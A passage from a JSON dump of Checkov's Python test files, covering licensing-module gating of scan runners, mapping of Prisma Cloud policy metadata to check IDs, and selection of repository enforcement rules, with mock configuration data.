instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {m: True for m in module_keys},\n            }\n        }\n        licensing_integration.pre_scan()\n        self.assertFalse(licensing_integration.open_source_only)\n\n    def test_oss_mode_dev_plan(self):\n        instance = BcPlatformIntegration()\n        licensing_integration = LicensingIntegration(instance)\n        instance.bc_api_key = '1234'\n        licensing_integration.pre_scan()\n\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {m: True for m in module_keys},\n            }\n        }\n        licensing_integration.pre_scan()\n        self.assertFalse(licensing_integration.open_source_only)\n\n    def test_resource_mode(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n\n        licensing_integration = LicensingIntegration(instance)\n\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {m: True for m in module_keys},\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        for runner_check_type in checkov_runners:\n            self.assertTrue(licensing_integration.is_runner_valid(runner_check_type))\n        self.assertTrue(licensing_integration.should_run_image_referencer())\n\n    def test_developer_mode_all_enabled(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n\n        licensing_integration = LicensingIntegration(instance)\n\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {key: True for key in module_keys},\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        for runner_check_type in checkov_runners:\n            if runner_check_type.startswith(\"sast\"):  # todo: remove when sast will be active\n                continue\n            self.assertTrue(licensing_integration.is_runner_valid(runner_check_type))\n        self.assertTrue(licensing_integration.should_run_image_referencer())\n\n    def test_developer_mode_all_disabled(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n\n        licensing_integration = LicensingIntegration(instance)\n\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {key: False for key in module_keys},\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        for runner_check_type in checkov_runners:\n            if runner_check_type.startswith((\"cdk\", \"sast\")):  # todo: remove when sast will be active\n                continue\n            self.assertFalse(licensing_integration.is_runner_valid(runner_check_type))\n        self.assertFalse(licensing_integration.should_run_image_referencer())\n\n    def test_developer_mode_each_enabled(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n\n        licensing_integration = LicensingIntegration(instance)\n\n        # test one module at a time\n        for module in module_keys:\n            instance.customer_run_config_response = {\n                'platformLicense': {\n                    'modules': {key: key == module for key in module_keys},\n                }\n            }\n            licensing_integration.pre_scan()\n            for runner_check_type in checkov_runners:\n                if runner_check_type.startswith((\"cdk\", \"sast\")):  # todo: remove when sast will be active\n                    continue\n                self.assertEqual(licensing_integration.is_runner_valid(runner_check_type), runner_check_type in subscription_to_runner_map[CustomerSubscription(module)])\n            self.assertEqual(licensing_integration.should_run_image_referencer(), module == 'SCA')\n\n    def test_runner_registry_single_runner(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n        licensing_integration = LicensingIntegration(instance)\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {m: True for m in module_keys},\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources')\n\n        runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.licensing_integration = licensing_integration\n        reports = runner_registry.run(root_folder=scan_dir)\n        self.assertEqual(len(reports), 1)\n        self.assertIsNotNone(reports[0])\n\n    def test_runner_registry_single_runner_hard_fail(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n        licensing_integration = LicensingIntegration(instance)\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {m: False for m in module_keys},\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources')\n\n        runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.licensing_integration = licensing_integration\n        try:\n            runner_registry.run(root_folder=scan_dir)\n            raise AssertionError('Runner registry should hard fail because a single framework was used')\n        except Exception as e:\n            self.assertIsInstance(e, ModuleNotEnabledError)\n\n    def test_runner_registry_multiple_runners_with_framework(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n        licensing_integration = LicensingIntegration(instance)\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {\n                    'IAC': True,\n                    'SECRETS': False,\n                    'SCA': False\n                },\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources')\n\n        runner_filter = RunnerFilter(framework=['terraform', 'bitbucket_configuration', 'sca_package', 'secrets'], runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.licensing_integration = licensing_integration\n        with self.assertLogs(level='INFO') as log:\n            reports = runner_registry.run(root_folder=scan_dir)\n            self.assertEqual(len(reports), 2)  # terraform and bitbucket\n            # we are specifically verifying the log level here\n            self.assertIn('WARNING:root:The framework \"secrets\" is part of the \"SECRETS\" module, which is not enabled in the platform', log.output)\n            self.assertIn('WARNING:root:The framework \"secrets\" is part of the \"SECRETS\" module, which is not enabled in the platform', log.output)\n\n    def test_runner_registry_multiple_runners_without_framework(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n        licensing_integration = LicensingIntegration(instance)\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {\n                    'IAC': True,\n                    'SECRETS': False,\n                    'SCA': False\n                },\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources')\n\n        runner_filter = RunnerFilter(runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.licensing_integration = licensing_integration\n        with self.assertLogs(level='INFO') as log:\n            reports = runner_registry.run(root_folder=scan_dir)\n            self.assertEqual(len(reports), 2)  # terraform and bitbucket\n            # we are specifically verifying the log level here\n            self.assertIn('INFO:root:The framework \"secrets\" is part of the \"SECRETS\" module, which is not enabled in the platform', log.output)\n            self.assertIn('INFO:root:The framework \"secrets\" is part of the \"SECRETS\" module, which is not enabled in the platform', log.output)\n\n    def test_runner_registry_multiple_runners_all_disabled(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '1234'\n        licensing_integration = LicensingIntegration(instance)\n        instance.customer_run_config_response = {\n            'platformLicense': {\n                'modules': {\n                    'IAC': False,\n                    'SECRETS': False,\n                    'SCA': False\n                }\n            }\n        }\n\n        licensing_integration.pre_scan()\n\n        scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources')\n\n        runner_filter = RunnerFilter(framework=['terraform', 'bitbucket_configuration', 'sca_package', 'secrets'], runners=checkov_runners)\n        runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS)\n        runner_registry.licensing_integration = licensing_integration\n        try:\n            runner_registry.run(root_folder=scan_dir)\n            raise AssertionError('Runner registry should hard fail because a single framework was used')\n        except Exception as e:\n            self.assertIsInstance(e, ModuleNotEnabledError)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_policy_metadata_integration.py",
    "content": "import unittest\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    PolicyMetadataIntegration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\n\nclass TestPolicyMetadataIntegration(unittest.TestCase):\n\n    def test_filtered_policy_ids(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234=='\n        instance.customer_run_config_response = mock_customer_run_config()\n        instance.prisma_policies_response = mock_prisma_policies_response()\n        instance.prisma_policies_exception_response = [mock_prisma_policies_response()[0]]\n        metadata_integration = PolicyMetadataIntegration(instance)\n        metadata_integration.bc_integration = instance\n        metadata_integration.pre_scan()\n        metadata_integration.pc_to_ckv_id_mapping\n        self.assertDictEqual(metadata_integration.pc_to_ckv_id_mapping, {'6960be11-e3a6-46cc-bf66-933c57c2af5d': 'CKV_AWS_212', '3dc2478c-bf25-4383-aaa1-30feb5cda586': '806079891421835264_AZR_1685557908904', 'c11ce08c-b93e-4e11-8d1c-e5a1339139d1': 'CKV_AWS_40', '0e4c576e-c934-4af3-8592-a53920e71ffb': 'CKV_AWS_53', '1234': 'CKV3_SAST_123'})\n        self.assertListEqual(metadata_integration.filtered_policy_ids, ['CKV_AWS_212', '806079891421835264_AZR_1685557908904', 'CKV_AWS_40', 'CKV_AWS_53', 'CKV_AZURE_122'])\n        self.assertListEqual(metadata_integration.filtered_exception_policy_ids, ['CKV_AWS_212'])\n        self.assertSetEqual(set(metadata_integration.sast_check_metadata.keys()), {'CKV3_SAST_123'})\n\n\ndef mock_customer_run_config():\n    return {\n        \"policyMetadata\": {\n            \"CKV_AWS_212\": {\n                \"id\": \"BC_AWS_IAM_5\",\n                \"title\": \"Ensure IAM password policy requires at least one uppercase letter\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/iam_5\",\n                \"severity\": \"MEDIUM\",\n                \"pcSeverity\": \"MEDIUM\",\n                \"category\": \"IAM\",\n                \"checkovId\": \"CKV_AWS_212\",\n                \"constructiveTitle\": \"Ensure AWS IAM password policy has an uppercase character\",\n                \"descriptiveTitle\": \"AWS IAM password policy does not have an uppercase character\",\n                \"pcPolicyId\": \"6960be11-e3a6-46cc-bf66-933c57c2af5d\",\n                \"additionalPcPolicyIds\": [\n                    \"6960be11-e3a6-46cc-bf66-933c57c2af5d\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV_AWS_40\": {\n                \"id\": \"BC_AWS_IAM_16\",\n                \"title\": \"Ensure IAM policies are attached only to groups or roles\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/iam_16-iam-policy-privileges-1\",\n                \"severity\": \"CRITICAL\",\n                \"pcSeverity\": \"HIGH\",\n                \"category\": \"IAM\",\n                \"checkovId\": \"CKV_AWS_40\",\n                \"constructiveTitle\": \"Ensure IAM policies are only attached to Groups and Roles\",\n                \"descriptiveTitle\": \"AWS IAM policy attached to users\",\n                \"pcPolicyId\": \"c11ce08c-b93e-4e11-8d1c-e5a1339139d1\",\n                \"additionalPcPolicyIds\": [\n                    \"c11ce08c-b93e-4e11-8d1c-e5a1339139d1\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV_AWS_53\": {\n                \"id\": \"BC_AWS_S3_19\",\n                \"title\": \"Ensure S3 bucket has block public ACLS enabled\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/bc_aws_s3_19\",\n                \"severity\": \"MEDIUM\",\n                \"pcSeverity\": None,\n                \"category\": \"Storage\",\n                \"checkovId\": \"CKV_AWS_53\",\n                \"constructiveTitle\": \"Ensure S3 bucket has block public ACLS enabled\",\n                \"descriptiveTitle\": None,\n                \"pcPolicyId\": \"0e4c576e-c934-4af3-8592-a53920e71ffb\",\n                \"additionalPcPolicyIds\": [\n                    \"0e4c576e-c934-4af3-8592-a53920e71ffb\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV_AZURE_122\": {\n                \"id\": \"BC_AZR_NETWORKING_39\",\n                \"title\": \"Ensure that Application Gateway uses WAF in \\\"Detection\\\" or \\\"Prevention\\\" modes\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes\",\n                \"severity\": \"LOW\",\n                \"pcSeverity\": \"LOW\",\n                \"category\": \"Networking\",\n                \"checkovId\": \"CKV_AZURE_122\",\n                \"constructiveTitle\": \"Ensure application gateway uses WAF in Detection or Prevention modes\",\n                \"descriptiveTitle\": \"Application gateway does not use WAF in Detection or Prevention modes\",\n                \"pcPolicyId\": \"3dc2478c-bf25-4383-aaa1-30feb5cda586\",\n                \"additionalPcPolicyIds\": [\n                    \"3dc2478c-bf25-4383-aaa1-30feb5cda586\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV3_SAST_123\": {\n                \"id\": \"BC_SAST_123\",\n                \"title\": \"sast\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/abc\",\n                \"severity\": \"LOW\",\n                \"pcSeverity\": \"LOW\",\n                \"category\": \"Networking\",\n                \"checkovId\": \"CKV3_SAST_123\",\n                \"constructiveTitle\": \"sast\",\n                \"descriptiveTitle\": \"sast\",\n                \"pcPolicyId\": \"1234\",\n                \"additionalPcPolicyIds\": [\n                    \"1234\"\n                ],\n                \"benchmarks\": {}\n            }\n        },\n        \"customPolicies\": [\n            {\n            \"id\": \"806079891421835264_AZR_1685557908904\",\n            \"code\": \"null\",\n            \"title\": \"Application gateway does not use WAF in Detection or Prevention modes\",\n            \"guideline\": \"Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes\",\n            \"severity\": \"MEDIUM\",\n            \"pcSeverity\": \"MEDIUM\",\n            \"category\": \"Networking\",\n            \"pcPolicyId\": \"3dc2478c-bf25-4383-aaa1-30feb5cda586\",\n            \"additionalPcPolicyIds\": [\n                \"3dc2478c-bf25-4383-aaa1-30feb5cda586\"\n            ],\n            \"sourceIncidentId\": \"BC_AZR_NETWORKING_39\",\n            \"benchmarks\": {},\n            \"frameworks\": [\n                \"CloudFormation\",\n                \"Terraform\"\n            ],\n            \"provider\": \"Azure\"\n            }\n        ]\n    }\n\n\ndef mock_prisma_policies_response():\n    return [\n        {\n            \"policyId\": \"6960be11-e3a6-46cc-bf66-933c57c2af5d\",\n            \"name\": \"AWS EBS volume region with encryption is disabled\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"run\",\n                \"build\"\n            ],\n            \"systemDefault\": True,\n            \"policyUpi\": \"PC-AWS-EC2-778\",\n            \"description\": \"This policy identifies AWS regions in which new EBS volumes are getting created without any encryption. Encrypting data at rest reduces unintentional exposure of data stored in EBS volumes. It is recommended to configure EBS volume at the regional level so that every new EBS volume created in that region will be enabled with encryption by using a provided encryption key.\",\n            \"severity\": \"medium\",\n            \"rule\": {\n                \"name\": \"AWS EBS volume region with encryption is disabled\",\n                \"criteria\": \"7a951e9f-02d2-4d9f-9441-29b545084585\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"true\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"criteria\": \"{\\\"category\\\":\\\"Kubernetes\\\",\\\"resourceTypes\\\":[\\\"aws_ebs_encryption_by_default\\\"]}\",\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"checkovId\": \"CKV_AWS_106\"\n                        },\n                        \"recommendation\": \"Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-kubernetes-secrets-are-encrypted-using-customer-master-keys-cmks-managed-in-aws-kms\"\n                    }\n                ]\n            },\n            \"recommendation\": \"To enable encryption at region level by default, follow below URL:\\nhttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default\\n\\nAdditional Information:\\n\\nTo detect existing EBS volumes that are not encrypted ; refer Saved Search:\\nAWS EBS volumes are not encrypted_RL\\n\\nTo detect existing EBS volumes that are not encrypted with CMK, refer Saved Search:\\nAWS EBS volume not encrypted using Customer Managed Key_RL\",\n            \"cloudType\": \"aws\",\n            \"complianceMetadata\": [\n                {\n                    \"standardId\": \"a0ea1077-424f-45fd-994e-4caef6d4d9de\",\n                    \"standardName\": \"AWS Foundational Security Best Practices standard\",\n                    \"standardDescription\": \"AWS Foundational Security Best Practices standard\",\n                    \"requirementId\": \"Protect\",\n                    \"requirementName\": \"Protect\",\n                    \"sectionId\": \"Data protection\",\n                    \"sectionDescription\": \"Data protection\",\n                    \"policyId\": \"6960be11-e3a6-46cc-bf66-933c57c2af5d\",\n                    \"complianceId\": \"2ab6eea3-660b-48c4-a836-53347e702faf\",\n                    \"sectionLabel\": \"Data protection\",\n                    \"sectionViewOrder\": 5,\n                    \"requirementViewOrder\": 2,\n                    \"systemDefault\": True,\n                    \"customAssigned\": False\n                }\n            ],\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1634832351154,\n            \"createdBy\": \"Prisma Cloud System Admin\",\n            \"lastModifiedOn\": 1654106204620,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1639652340813,\n            \"deleted\": False,\n            \"owner\": \"Prisma Cloud\",\n            \"policyMode\": \"redlock_default\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n        {\n            \"policyId\": \"3dc2478c-bf25-4383-aaa1-30feb5cda586\",\n            \"name\": \"Application gateway does not use WAF in Detection or Prevention modes\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": True,\n            \"description\": \"Ensure that Application Gateway uses WAF in \\\"Detection\\\" or \\\"Prevention\\\" modes\",\n            \"severity\": \"medium\",\n            \"rule\": {\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"criteria\": \"{\\\"category\\\":\\\"Networking\\\",\\\"resourceTypes\\\":[\\\"azurerm_web_application_firewall_policy\\\"]}\",\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"checkovId\": \"CKV_AZURE_122\"\n                        },\n                        \"recommendation\": \"Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"azure\",\n            \"labels\": [\n                \"pcsup\"\n            ],\n            \"enabled\": True,\n        },\n        {\n            \"policyId\": \"c11ce08c-b93e-4e11-8d1c-e5a1339139d1\",\n            \"name\": \"CUSTOM 3: Ensure subnet is associated with NSG\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": False,\n            \"description\": \"Every subnet should be associated with NSG for controlling access to \\nresources within the subnet.\\n\",\n            \"severity\": \"high\",\n            \"rule\": {\n                \"name\": \"CUSTOM 3: Ensure subnet is associated with NSG\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"code\": \"metadata:\\n  name: 'CUSTOM 3: Ensure subnet is associated with NSG'\\n  guidelines: \\\"Every subnet should be associated with NSG for controlling access to\\\\\\n    \\\\ \\\\nresources within the subnet.\\\\n\\\"\\n  category: networking\\n  severity: high\\nscope:\\n  provider: azure\\ndefinition:\\n  and:\\n  - cond_type: connection\\n    resource_types:\\n    - azurerm_subnet_network_security_group_association\\n    connected_resource_types:\\n    - azurerm_subnet\\n    - azurerm_network_security_group\\n    operator: exists\\n  - cond_type: filter\\n    attribute: resource_type\\n    value:\\n    - azurerm_subnet\\n    operator: within\\n\"\n                        },\n                        \"recommendation\": \"\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"azure\",\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1653999690681,\n            \"createdBy\": \"User\",\n            \"lastModifiedOn\": 1654065712108,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1653999690681,\n            \"deleted\": False,\n            \"owner\": \"Tenant Name\",\n            \"policyMode\": \"custom\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n        {\n            \"policyId\": \"0e4c576e-c934-4af3-8592-a53920e71ffb\",\n            \"name\": \"CUSTOM POLICY2: Ensure subnet is associated with NSG\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": False,\n            \"description\": \"Every subnet should be associated with NSG for controlling access to \\nresources within the subnet.\\n\",\n            \"severity\": \"high\",\n            \"rule\": {\n                \"name\": \"CUSTOM POLICY2: Ensure subnet is associated with NSG\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"code\": \"metadata:\\n  name: 'CUSTOM POLICY2: Ensure subnet is associated with NSG'\\n  guidelines: \\\"Every subnet should be associated with NSG for controlling access to\\\\\\n    \\\\ \\\\nresources within the subnet.\\\\n\\\"\\n  category: networking\\n  severity: high\\nscope:\\n  provider: azure\\ndefinition:\\n  and:\\n  - cond_type: connection\\n    resource_types:\\n    - azurerm_subnet_network_security_group_association\\n    connected_resource_types:\\n    - azurerm_subnet\\n    - azurerm_network_security_group\\n    operator: exists\\n  - cond_type: filter\\n    attribute: resource_type\\n    value:\\n    - azurerm_subnet\\n    operator: within\\n\"\n                        },\n                        \"recommendation\": \"\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"azure\",\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1653003961960,\n            \"createdBy\": \"User\",\n            \"lastModifiedOn\": 1653003961960,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1653003961960,\n            \"deleted\": False,\n            \"owner\": \"Tenant Name\",\n            \"policyMode\": \"custom\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n    ]\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_repo_config_integration.py",
    "content": "import unittest\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration\nfrom checkov.common.bridgecrew.integration_features.features.repo_config_integration import \\\n    RepoConfigIntegration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\n\n\nclass TestRepoConfigIntegration(unittest.TestCase):\n\n    def test_integration_valid(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n\n        repo_config_integration = RepoConfigIntegration(instance)\n\n        self.assertTrue(repo_config_integration.is_valid())\n\n        instance.skip_download = True\n        self.assertFalse(repo_config_integration.is_valid())\n\n        instance.platform_integration_configured = False\n        self.assertFalse(repo_config_integration.is_valid())\n\n        instance.skip_download = False\n        self.assertFalse(repo_config_integration.is_valid())\n\n        repo_config_integration.integration_feature_failures = True\n        self.assertFalse(repo_config_integration.is_valid())\n\n    def test_enforcement_rule_default(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '1')\n\n    def test_enforcement_rule_default_non_matching(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"org/other_repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '1')\n\n    def test_enforcement_rule_simple_match(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            